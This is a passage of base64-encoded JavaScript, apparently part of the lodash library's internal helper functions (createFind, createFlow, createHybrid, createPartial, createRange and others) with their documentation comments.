eC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBmaW5kIGZ1bmN0aW9uLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNyZWF0ZUZpbmQoZmluZEluZGV4RnVuYykge1xuICAgICAgcmV0dXJuIGZ1bmN0aW9uKGNvbGxlY3Rpb24sIHByZWRpY2F0ZSwgZnJvbUluZGV4KSB7XG4gICAgICAgIHZhciBpdGVyYWJsZSA9IE9iamVjdChjb2xsZWN0aW9uKTtcbiAgICAgICAgaWYgKCFpc0FycmF5TGlrZShjb2xsZWN0aW9uKSkge1xuICAgICAgICAgIHZhciBpdGVyYXRlZSA9IGdldEl0ZXJhdGVlKHByZWRpY2F0ZSwgMyk7XG4gICAgICAgICAgY29sbGVjdGlvbiA9IGtleXMoY29sbGVjdGlvbik7XG4gICAgICAgICAgcHJlZGljYXRlID0gZnVuY3Rpb24oa2V5KSB7IHJldHVybiBpdGVyYXRlZShpdGVyYWJsZVtrZXldLCBrZXksIGl0ZXJhYmxlKTsgfTtcbiAgICAgICAgfVxuICAgICAgICB2YXIgaW5kZXggPSBmaW5kSW5kZXhGdW5jKGNvbGxlY3Rpb24sIHByZWRpY2F0ZSwgZnJvbUluZGV4KTtcbiAgICAgICAgcmV0dXJuIGluZGV4ID4gLTEgPyBpdGVyYWJsZVtpdGVyYXRlZSA/IGNvbGxlY3Rpb25baW5kZXhdIDogaW5kZXhdIDogdW5kZWZpbmVkO1xuICAgICAgfTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgYF8uZmxvd2Agb3IgYF8uZmxvd1JpZ2h0YCBmdW5jdGlvbi5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbZnJvbVJpZ2h0XSBTcGVjaWZ5IGl0ZXJhdGluZyBmcm9tIHJpZ2h0IHRvIGxlZnQuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgZmxvdyBmdW5jdGlvbi5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjcmVhdGVGbG93KGZyb21SaWdodCkge1xuICAgICAgcmV0dXJuIGZsYXRSZXN0KGZ1bmN0aW9uKGZ1bmNzKSB7XG4gICAgICAgIHZhciBsZW5ndGggPSBmdW5jcy5sZW5ndGgsXG4gICAgICAgICAgICBpbmRleCA9IGxlbmd0aCxcbiAgICAgICAgICAgIHByZXJlcSA9IExvZGFzaFdyYXBwZXIucHJvdG90eXBlLnRocnU7XG5cbiAgICAgICAgaWYgKGZyb21SaWdodCkge1xuICAgICAgICAgIGZ1bmNzLnJldmVyc2UoKTtcbiAgICAgICAgfVxuICAgICAgICB3aGlsZSAoaW5kZXgtLSkge1xuICAgICAgICAgIHZhciBmdW5jID0gZnVuY3NbaW5kZXhdO1xuICAgICAgICAgIGlmICh0eXBlb2YgZnVuYyAhPSAnZnVuY3Rpb24nKSB7XG4gICAgICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKEZVTkNfRVJST1JfVEVYVCk7XG4gICAgICAgICAgfVxuICAgICAgICAgIGlmIChwcmVyZXEgJiYgIXdyYXBwZXIgJiYgZ2V0RnVuY05hbWUoZnVuYykgPT0gJ3dyYXBwZXInKSB7XG4gICAgICAgICAgICB2YXIgd3JhcHBlciA9IG5ldyBMb2Rhc2hXcmFwcGVyKFtdLCB0cnVlKTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaW5kZXggPSB3cmFwcGVyID8gaW5kZXggOiBsZW5ndGg7XG4gICAgICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICAgICAgZnVuYyA9IGZ1bmNzW2luZGV4XTtcblxuICAgICAgICAgIHZhciBmdW5jTmFtZSA9IGdldEZ1bmNOYW1lKGZ1bmMpLFxuICAgICAgICAgICAgICBkYXRhID0gZnVuY05hbWUgPT0gJ3dyYXBwZXInID8gZ2V0RGF0YShmdW5jKSA6IHVuZGVmaW5lZDtcblxuICAgICAgICAgIGlmIChkYXRhICYmIGlzTGF6aWFibGUoZGF0YVswXSkgJiZcbiAgICAgICAgICAgICAgICBkYXRhWzFdID09IChXUkFQX0FSWV9GTEFHIHwgV1JBUF9DVVJSWV9GTEFHIHwgV1JBUF9QQVJUSUFMX0ZMQUcgfCBXUkFQX1JFQVJHX0ZMQUcpICYmXG4gICAgICAgICAgICAgICAgIWRhdGFbNF0ubGVuZ3RoICYmIGRhdGFbOV0gPT0gMVxuICAgICAgICAgICAgICApIHtcbiAgICAgICAgICAgIHdyYXBwZXIgPSB3cmFwcGVyW2dldEZ1bmNOYW1lKGRhdGFbMF0pXS5hcHBseSh3cmFwcGVyLCBkYXRhWzNdKTtcbiAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgd3JhcHBlciA9IChmdW5jLmxlbmd0aCA9PSAxICYmIGlzTGF6aWFibGUoZnVuYykpXG4gICAgICAgICAgICAgID8gd3JhcHBlcltmdW5jTmFtZV0oKVxuICAgICAgICAgICAgICA6IHdyYXBwZXIudGhydShmdW5jKTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgICAgIHZhciBhcmdzID0gYXJndW1lbnRzLFxuICAgICAgICAgICAgICB2YWx1ZSA9IGFyZ3NbMF07XG5cbiAgICAgICAgICBpZiAod3JhcHBlciAmJiBhcmdzLmxlbmd0aCA9PSAxICYmIGlzQXJyYXkodmFsdWUpKSB7XG4gICAgICAgICAgICByZXR1cm4gd3JhcHBlci5wbGFudCh2YWx1ZSkudmFsdWUoKTtcbiAgICAgICAgICB9XG4gICAgICAgICAgdmFyIGluZGV4ID0gMCxcbiAgICAgICAgICAgICAgcmVzdWx0ID0gbGVuZ3RoID8gZnVuY3NbaW5kZXhdLmFwcGx5KHRoaXMsIGFyZ3MpIDogdmFsdWU7XG5cbiAgICAgICAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgICAgICAgcmVzdWx0ID0gZnVuY3NbaW5kZXhdLmNhbGwodGhpcywgcmVzdWx0KTtcbiAgICAgICAgICB9XG4gICAgICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgICAgfTtcbiAgICAgIH0pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IHdyYXBzIGBmdW5jYCB0byBpbnZva2UgaXQgd2l0aCBvcHRpb25hbCBgdGhpc2BcbiAgICAgKiBiaW5kaW5nIG9mIGB0aGlzQXJnYCwgcGFydGlhbCBhcHBsaWNhdGlvbiwgYW5kIGN1cnJ5aW5nLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufHN0cmluZ30gZnVuYyBUaGUgZnVuY3Rpb24gb3IgbWV0aG9kIG5hbWUgdG8gd3JhcC5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gYml0bWFzayBUaGUgYml0bWFzayBmbGFncy4gU2VlIGBjcmVhdGVXcmFwYCBmb3IgbW9yZSBkZXRhaWxzLlxuICAgICAqIEBwYXJhbSB7Kn0gW3RoaXNBcmddIFRoZSBgdGhpc2AgYmluZGluZyBvZiBgZnVuY2AuXG4gICAgICogQHBhcmFtIHtBcnJheX0gW3BhcnRpYWxzXSBUaGUgYXJndW1lbnRzIHRvIHByZXBlbmQgdG8gdGhvc2UgcHJvdmlkZWQgdG9cbiAgICAgKiAgdGhlIG5ldyBmdW5jdGlvbi5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBbaG9sZGVyc10gVGhlIGBwYXJ0aWFsc2AgcGxhY2Vob2xkZXIgaW5kZXhlcy5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBbcGFydGlhbHNSaWdodF0gVGhlIGFyZ3VtZW50cyB0byBhcHBlbmQgdG8gdGhvc2UgcHJvdmlkZWRcbiAgICAgKiAgdG8gdGhlIG5ldyBmdW5jdGlvbi5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBbaG9sZGVyc1JpZ2h0XSBUaGUgYHBhcnRpYWxzUmlnaHRgIHBsYWNlaG9sZGVyIGluZGV4ZXMuXG4gICAgICogQHBhcmFtIHtBcnJheX0gW2FyZ1Bvc10gVGhlIGFyZ3VtZW50IHBvc2l0aW9ucyBvZiB0aGUgbmV3IGZ1bmN0aW9uLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbYXJ5XSBUaGUgYXJpdHkgY2FwIG9mIGBmdW5jYC5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW2FyaXR5XSBUaGUgYXJpdHkgb2YgYGZ1bmNgLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IHdyYXBwZWQgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3JlYXRlSHlicmlkKGZ1bmMsIGJpdG1hc2ssIHRoaXNBcmcsIHBhcnRpYWxzLCBob2xkZXJzLCBwYXJ0aWFsc1JpZ2h0LCBob2xkZXJzUmlnaHQsIGFyZ1BvcywgYXJ5LCBhcml0eSkge1xuICAgICAgdmFyIGlzQXJ5ID0gYml0bWFzayAmIFdSQVBfQVJZX0ZMQUcsXG4gICAgICAgICAgaXNCaW5kID0gYml0bWFzayAmIFdSQVBfQklORF9GTEFHLFxuICAgICAgICAgIGlzQmluZEtleSA9IGJpdG1hc2sgJiBXUkFQX0JJTkRfS0VZX0ZMQUcsXG4gICAgICAgICAgaXNDdXJyaWVkID0gYml0bWFzayAmIChXUkFQX0NVUlJZX0ZMQUcgfCBXUkFQX0NVUlJZX1JJR0hUX0ZMQUcpLFxuICAgICAgICAgIGlzRmxpcCA9IGJpdG1hc2sgJiBXUkFQX0ZMSVBfRkxBRyxcbiAgICAgICAgICBDdG9yID0gaXNCaW5kS2V5ID8gdW5kZWZpbmVkIDogY3JlYXRlQ3RvcihmdW5jKTtcblxuICAgICAgZnVuY3Rpb24gd3JhcHBlcigpIHtcbiAgICAgICAgdmFyIGxlbmd0aCA9IGFyZ3VtZW50cy5sZW5ndGgsXG4gICAgICAgICAgICBhcmdzID0gQXJyYXkobGVuZ3RoKSxcbiAgICAgICAgICAgIGluZGV4ID0gbGVuZ3RoO1xuXG4gICAgICAgIHdoaWxlIChpbmRleC0tKSB7XG4gICAgICAgICAgYXJnc1tpbmRleF0gPSBhcmd1bWVudHNbaW5kZXhdO1xuICAgICAgICB9XG4gICAgICAgIGlmIChpc0N1cnJpZWQpIHtcbiAgICAgICAgICB2YXIgcGxhY2Vob2xkZXIgPSBnZXRIb2xkZXIod3JhcHBlciksXG4gICAgICAgICAgICAgIGhvbGRlcnNDb3VudCA9IGNvdW50SG9sZGVycyhhcmdzLCBwbGFjZWhvbGRlcik7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKHBhcnRpYWxzKSB7XG4gICAgICAgICAgYXJncyA9IGNvbXBvc2VBcmdzKGFyZ3MsIHBhcnRpYWxzLCBob2xkZXJzLCBpc0N1cnJpZWQpO1xuICAgICAgICB9XG4gICAgICAgIGlmIChwYXJ0aWFsc1JpZ2h0KSB7XG4gICAgICAgICAgYXJncyA9IGNvbXBvc2VBcmdzUmlnaHQoYXJncywgcGFydGlhbHNSaWdodCwgaG9sZGVyc1JpZ2h0LCBpc0N1cnJpZWQpO1xuICAgICAgICB9XG4gICAgICAgIGxlbmd0aCAtPSBob2xkZXJzQ291bnQ7XG4gICAgICAgIGlmIChpc0N1cnJpZWQgJiYgbGVuZ3RoIDwgYXJpdHkpIHtcbiAgICAgICAgICB2YXIgbmV3SG9sZGVycyA9IHJlcGxhY2VIb2xkZXJzKGFyZ3MsIHBsYWNlaG9sZGVyKTtcbiAgICAgICAgICByZXR1cm4gY3JlYXRlUmVjdXJyeShcbiAgICAgICAgICAgIGZ1bmMsIGJpdG1hc2ssIGNyZWF0ZUh5YnJpZCwgd3JhcHBlci5wbGFjZWhvbGRlciwgdGhpc0FyZyxcbiAgICAgICAgICAgIGFyZ3MsIG5ld0hvbGRlcnMsIGFyZ1BvcywgYXJ5LCBhcml0eSAtIGxlbmd0aFxuICAgICAgICAgICk7XG4gICAgICAgIH1cbiAgICAgICAgdmFyIHRoaXNCaW5kaW5nID0gaXNCaW5kID8gdGhpc0FyZyA6IHRoaXMsXG4gICAgICAgICAgICBmbiA9IGlzQmluZEtleSA/IHRoaXNCaW5kaW5nW2Z1bmNdIDogZnVuYztcblxuICAgICAgICBsZW5ndGggPSBhcmdzLmxlbmd0aDtcbiAgICAgICAgaWYgKGFyZ1Bvcykge1xuICAgICAgICAgIGFyZ3MgPSByZW9yZGVyKGFyZ3MsIGFyZ1Bvcyk7XG4gICAgICAgIH0gZWxzZSBpZiAoaXNGbGlwICYmIGxlbmd0aCA+IDEpIHtcbiAgICAgICAgICBhcmdzLnJldmVyc2UoKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoaXNBcnkgJiYgYXJ5IDwgbGVuZ3RoKSB7XG4gICAgICAgICAgYXJncy5sZW5ndGggPSBhcnk7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKHRoaXMgJiYgdGhpcyAhPT0gcm9vdCAmJiB0aGlzIGluc3RhbmNlb2Ygd3JhcHBlcikge1xuICAgICAgICAgIGZuID0gQ3RvciB8fCBjcmVhdGVDdG9yKGZuKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZm4uYXBwbHkodGhpc0JpbmRpbmcsIGFyZ3MpO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHdyYXBwZXI7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIGxpa2UgYF8uaW52ZXJ0QnlgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBzZXR0ZXIgVGhlIGZ1bmN0aW9uIHRvIHNldCBhY2N1bXVsYXRvciB2YWx1ZXMuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gdG9JdGVyYXRlZSBUaGUgZnVuY3Rpb24gdG8gcmVzb2x2ZSBpdGVyYXRlZXMuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgaW52ZXJ0ZXIgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3JlYXRlSW52ZXJ0ZXIoc2V0dGVyLCB0b0l0ZXJhdGVlKSB7XG4gICAgICByZXR1cm4gZnVuY3Rpb24ob2JqZWN0LCBpdGVyYXRlZSkge1xuICAgICAgICByZXR1cm4gYmFzZUludmVydGVyKG9iamVjdCwgc2V0dGVyLCB0b0l0ZXJhdGVlKGl0ZXJhdGVlKSwge30pO1xuICAgICAgfTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCBwZXJmb3JtcyBhIG1hdGhlbWF0aWNhbCBvcGVyYXRpb24gb24gdHdvIHZhbHVlcy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gb3BlcmF0b3IgVGhlIGZ1bmN0aW9uIHRvIHBlcmZvcm0gdGhlIG9wZXJhdGlvbi5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW2RlZmF1bHRWYWx1ZV0gVGhlIHZhbHVlIHVzZWQgZm9yIGB1bmRlZmluZWRgIGFyZ3VtZW50cy5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBtYXRoZW1hdGljYWwgb3BlcmF0aW9uIGZ1bmN0aW9uLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNyZWF0ZU1hdGhPcGVyYXRpb24ob3BlcmF0b3IsIGRlZmF1bHRWYWx1ZSkge1xuICAgICAgcmV0dXJuIGZ1bmN0aW9uKHZhbHVlLCBvdGhlcikge1xuICAgICAgICB2YXIgcmVzdWx0O1xuICAgICAgICBpZiAodmFsdWUgPT09IHVuZGVmaW5lZCAmJiBvdGhlciA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAgICAgcmV0dXJuIGRlZmF1bHRWYWx1ZTtcbiAgICAgICAgfVxuICAgICAgICBpZiAodmFsdWUgIT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgIHJlc3VsdCA9IHZhbHVlO1xuICAgICAgICB9XG4gICAgICAgIGlmIChvdGhlciAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgICAgaWYgKHJlc3VsdCA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAgICAgICByZXR1cm4gb3RoZXI7XG4gICAgICAgICAgfVxuICAgICAgICAgIGlmICh0eXBlb2YgdmFsdWUgPT0gJ3N0cmluZycgfHwgdHlwZW9mIG90aGVyID09ICdzdHJpbmcnKSB7XG4gICAgICAgICAgICB2YWx1ZSA9IGJhc2VUb1N0cmluZyh2YWx1ZSk7XG4gICAgICAgICAgICBvdGhlciA9IGJhc2VUb1N0cmluZyhvdGhlcik7XG4gICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIHZhbHVlID0gYmFzZVRvTnVtYmVyKHZhbHVlKTtcbiAgICAgICAgICAgIG90aGVyID0gYmFzZVRvTnVtYmVyKG90aGVyKTtcbiAgICAgICAgICB9XG4gICAgICAgICAgcmVzdWx0ID0gb3BlcmF0b3IodmFsdWUsIG90aGVyKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gcmVzdWx0O1xuICAgICAgfTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gbGlrZSBgXy5vdmVyYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gYXJyYXlGdW5jIFRoZSBmdW5jdGlvbiB0byBpdGVyYXRlIG92ZXIgaXRlcmF0ZWVzLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IG92ZXIgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3JlYXRlT3ZlcihhcnJheUZ1bmMpIHtcbiAgICAgIHJldHVybiBmbGF0UmVzdChmdW5jdGlvbihpdGVyYXRlZXMpIHtcbiAgICAgICAgaXRlcmF0ZWVzID0gYXJyYXlNYXAoaXRlcmF0ZWVzLCBiYXNlVW5hcnkoZ2V0SXRlcmF0ZWUoKSkpO1xuICAgICAgICByZXR1cm4gYmFzZVJlc3QoZnVuY3Rpb24oYXJncykge1xuICAgICAgICAgIHZhciB0aGlzQXJnID0gdGhpcztcbiAgICAgICAgICByZXR1cm4gYXJyYXlGdW5jKGl0ZXJhdGVlcywgZnVuY3Rpb24oaXRlcmF0ZWUpIHtcbiAgICAgICAgICAgIHJldHVybiBhcHBseShpdGVyYXRlZSwgdGhpc0FyZywgYXJncyk7XG4gICAgICAgICAgfSk7XG4gICAgICAgIH0pO1xuICAgICAgfSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyB0aGUgcGFkZGluZyBmb3IgYHN0cmluZ2AgYmFzZWQgb24gYGxlbmd0aGAuIFRoZSBgY2hhcnNgIHN0cmluZ1xuICAgICAqIGlzIHRydW5jYXRlZCBpZiB0aGUgbnVtYmVyIG9mIGNoYXJhY3RlcnMgZXhjZWVkcyBgbGVuZ3RoYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IGxlbmd0aCBUaGUgcGFkZGluZyBsZW5ndGguXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtjaGFycz0nICddIFRoZSBzdHJpbmcgdXNlZCBhcyBwYWRkaW5nLlxuICAgICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIHBhZGRpbmcgZm9yIGBzdHJpbmdgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNyZWF0ZVBhZGRpbmcobGVuZ3RoLCBjaGFycykge1xuICAgICAgY2hhcnMgPSBjaGFycyA9PT0gdW5kZWZpbmVkID8gJyAnIDogYmFzZVRvU3RyaW5nKGNoYXJzKTtcblxuICAgICAgdmFyIGNoYXJzTGVuZ3RoID0gY2hhcnMubGVuZ3RoO1xuICAgICAgaWYgKGNoYXJzTGVuZ3RoIDwgMikge1xuICAgICAgICByZXR1cm4gY2hhcnNMZW5ndGggPyBiYXNlUmVwZWF0KGNoYXJzLCBsZW5ndGgpIDogY2hhcnM7XG4gICAgICB9XG4gICAgICB2YXIgcmVzdWx0ID0gYmFzZVJlcGVhdChjaGFycywgbmF0aXZlQ2VpbChsZW5ndGggLyBzdHJpbmdTaXplKGNoYXJzKSkpO1xuICAgICAgcmV0dXJuIGhhc1VuaWNvZGUoY2hhcnMpXG4gICAgICAgID8gY2FzdFNsaWNlKHN0cmluZ1RvQXJyYXkocmVzdWx0KSwgMCwgbGVuZ3RoKS5qb2luKCcnKVxuICAgICAgICA6IHJlc3VsdC5zbGljZSgwLCBsZW5ndGgpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IHdyYXBzIGBmdW5jYCB0byBpbnZva2UgaXQgd2l0aCB0aGUgYHRoaXNgIGJpbmRpbmdcbiAgICAgKiBvZiBgdGhpc0FyZ2AgYW5kIGBwYXJ0aWFsc2AgcHJlcGVuZGVkIHRvIHRoZSBhcmd1bWVudHMgaXQgcmVjZWl2ZXMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIHdyYXAuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IGJpdG1hc2sgVGhlIGJpdG1hc2sgZmxhZ3MuIFNlZSBgY3JlYXRlV3JhcGAgZm9yIG1vcmUgZGV0YWlscy5cbiAgICAgKiBAcGFyYW0geyp9IHRoaXNBcmcgVGhlIGB0aGlzYCBiaW5kaW5nIG9mIGBmdW5jYC5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBwYXJ0aWFscyBUaGUgYXJndW1lbnRzIHRvIHByZXBlbmQgdG8gdGhvc2UgcHJvdmlkZWQgdG9cbiAgICAgKiAgdGhlIG5ldyBmdW5jdGlvbi5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyB3cmFwcGVkIGZ1bmN0aW9uLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNyZWF0ZVBhcnRpYWwoZnVuYywgYml0bWFzaywgdGhpc0FyZywgcGFydGlhbHMpIHtcbiAgICAgIHZhciBpc0JpbmQgPSBiaXRtYXNrICYgV1JBUF9CSU5EX0ZMQUcsXG4gICAgICAgICAgQ3RvciA9IGNyZWF0ZUN0b3IoZnVuYyk7XG5cbiAgICAgIGZ1bmN0aW9uIHdyYXBwZXIoKSB7XG4gICAgICAgIHZhciBhcmdzSW5kZXggPSAtMSxcbiAgICAgICAgICAgIGFyZ3NMZW5ndGggPSBhcmd1bWVudHMubGVuZ3RoLFxuICAgICAgICAgICAgbGVmdEluZGV4ID0gLTEsXG4gICAgICAgICAgICBsZWZ0TGVuZ3RoID0gcGFydGlhbHMubGVuZ3RoLFxuICAgICAgICAgICAgYXJncyA9IEFycmF5KGxlZnRMZW5ndGggKyBhcmdzTGVuZ3RoKSxcbiAgICAgICAgICAgIGZuID0gKHRoaXMgJiYgdGhpcyAhPT0gcm9vdCAmJiB0aGlzIGluc3RhbmNlb2Ygd3JhcHBlcikgPyBDdG9yIDogZnVuYztcblxuICAgICAgICB3aGlsZSAoKytsZWZ0SW5kZXggPCBsZWZ0TGVuZ3RoKSB7XG4gICAgICAgICAgYXJnc1tsZWZ0SW5kZXhdID0gcGFydGlhbHNbbGVmdEluZGV4XTtcbiAgICAgICAgfVxuICAgICAgICB3aGlsZSAoYXJnc0xlbmd0aC0tKSB7XG4gICAgICAgICAgYXJnc1tsZWZ0SW5kZXgrK10gPSBhcmd1bWVudHNbKythcmdzSW5kZXhdO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiBhcHBseShmbiwgaXNCaW5kID8gdGhpc0FyZyA6IHRoaXMsIGFyZ3MpO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHdyYXBwZXI7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGBfLnJhbmdlYCBvciBgXy5yYW5nZVJpZ2h0YCBmdW5jdGlvbi5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbZnJvbVJpZ2h0XSBTcGVjaWZ5IGl0ZXJhdGluZyBmcm9tIHJpZ2h0IHRvIGxlZnQuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgcmFuZ2UgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3JlYXRlUmFuZ2UoZnJvbVJpZ2h0KSB7XG4gICAgICByZXR1cm4gZnVuY3Rpb24oc3RhcnQsIGVuZCwgc3RlcCkge1xuICAgICAgICBpZiAoc3RlcCAmJiB0eXBlb2Ygc3RlcCAhPSAnbnVtYmVyJyAmJiBpc0l0ZXJhdGVlQ2FsbChzdGFydCwgZW5kLCBzdGVwKSkge1xuICAgICAgICAgIGVuZCA9IHN0ZXAgPSB1bmRlZmluZWQ7XG4gICAgICAgIH1cbiAgICAgICAgLy8gRW5zdXJlIHRoZSBzaWduIG9mIGAtMGAgaXMgcHJlc2VydmVkLlxuICAgICAgICBzdGFydCA9IHRvRmluaXRlKHN0YXJ0KTtcbiAgICAgICAgaWYgKGVuZCA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAgICAgZW5kID0gc3RhcnQ7XG4gICAgICAgICAgc3RhcnQgPSAwO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIGVuZCA9IHRvRmluaXRlKGVuZCk7XG4gICAgICAgIH1cbiAgICAgICAgc3RlcCA9IHN0ZXAgPT09IHVuZGVmaW5lZCA/IChzdGFydCA8IGVuZCA/IDEgOiAtMSkgOiB0b0Zpbml0ZShzdGVwKTtcbiAgICAgICAgcmV0dXJuIGJhc2VSYW5nZShzdGFydCwgZW5kLCBzdGVwLCBmcm9tUmlnaHQpO1xuICAgICAgfTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCBwZXJmb3JtcyBhIHJlbGF0aW9uYWwgb3BlcmF0aW9uIG9uIHR3byB2YWx1ZXMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IG9wZXJhdG9yIFRoZSBmdW5jdGlvbiB0byBwZXJmb3JtIHRoZSBvcGVyYXRpb24uXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgcmVsYXRpb25hbCBvcGVyYXRpb24gZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3JlYXRlUmVsYXRpb25hbE9wZXJhdGlvbihvcGVyYXRvcikge1xuICAgICAgcmV0dXJuIGZ1bmN0aW9uKHZhbHVlLCBvdGhlcikge1xuICAgICAgICBpZiAoISh0eXBlb2YgdmFsdWUgPT0gJ3N0cmluZycgJiYgdHlwZW9mIG90aGVyID09ICdzdHJpbmcnKSkge1xuICAgICAgICAgIHZhbHVlID0gdG9OdW1iZXIodmFsdWUpO1xuICAgICAgICAgIG90aGVyID0gdG9OdW1iZXIob3RoZXIpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiBvcGVyYXRvcih2YWx1ZSwgb3RoZXIpO1xuICAgICAgfTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCB3cmFwcyBgZnVuY2AgdG8gY29udGludWUgY3VycnlpbmcuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIHdyYXAuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IGJpdG1hc2sgVGhlIGJpdG1hc2sgZmxhZ3MuIFNlZSBgY3JlYXRlV3JhcGAgZm9yIG1vcmUgZGV0YWlscy5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSB3cmFwRnVuYyBUaGUgZnVuY3Rpb24gdG8gY3JlYXRlIHRoZSBgZnVuY2Agd3JhcHBlci5cbiAgICAgKiBAcGFyYW0geyp9IHBsYWNlaG9sZGVyIFRoZSBwbGFjZWhvbGRlciB2YWx1ZS5cbiAgICAgKiBAcGFyYW0geyp9IFt0aGlzQXJnXSBUaGUgYHRoaXNgIGJpbmRpbmcgb2YgYGZ1bmNgLlxuICAgICAqIEBwYXJhbSB7QXJyYXl9IFtwYXJ0aWFsc10gVGhlIGFyZ3VtZW50cyB0byBwcmVwZW5kIHRvIHRob3NlIHByb3ZpZGVkIHRvXG4gICAgICogIHRoZSBuZXcgZnVuY3Rpb24uXG4gICAgICogQHBhcmFtIHtBcnJheX0gW2hvbGRlcnNdIFRoZSBgcGFydGlhbHNgIHBsYWNlaG9sZGVyIGluZGV4ZXMuXG4gICAgICogQHBhcmFtIHtBcnJheX0gW2Fy